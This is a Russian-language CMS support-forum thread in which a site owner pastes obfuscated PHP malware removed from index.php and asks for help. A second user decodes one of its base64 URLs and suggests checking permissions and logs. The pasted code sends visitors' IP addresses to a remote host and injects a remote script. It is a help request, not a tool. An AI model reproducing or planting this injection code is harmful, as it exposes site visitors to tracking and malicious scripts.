1 Тема от purakr01 2013-05-17 20:53:54

  • purakr01
  • Прохожий
  • Неактивен
  • Зарегистрирован: 2013-05-17
  • Сообщений: 2
  • Репутация : [ 0 | 0 ]

Тема: virus

Здравствуйте Monstra!
После удаление кода вируса ( function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
}
function collectnewss() {

if (!isset($_COOKIE["iJijkdaMnerys"])) {
$value = 'yadeor';
$ip = $_SERVER['REMOTE_ADDR'];
$get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
$content = @file_get_contents($get);
@setcookie("iJijkdaMnerys", $value, time()+3600*24);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48
L3NjcmlwdD4=");
else
echo $content;

}
}
collectnewss ();
?>)
на index.php - на сайтах в браузере не открывает сайты (peab.ru).
помогите пожалуйста.
С уважением Гагик

Поделиться

2 Ответ от Hmelex

  • Hmelex
  • Hmelex
  • Активист
  • Неактивен
  • Откуда: Киев
  • Зарегистрирован: 2012-04-13
  • Сообщений: 230
  • Репутация : [ 13 | 0 ]

Re: virus

1. Проверьте права на  index.php
2. Посмотрите логи. когда кем и .... был залит вирус.

aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9tb3ZlLnBocD9pcD0=
это
http://ctrlsi.changeip.name:888/move.php?ip=

PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48
L3NjcmlwdD4=
это

У богатых людей - большая библиотека.
У бедных людей - большой телевизор.

Сайт Hmelex

Поделиться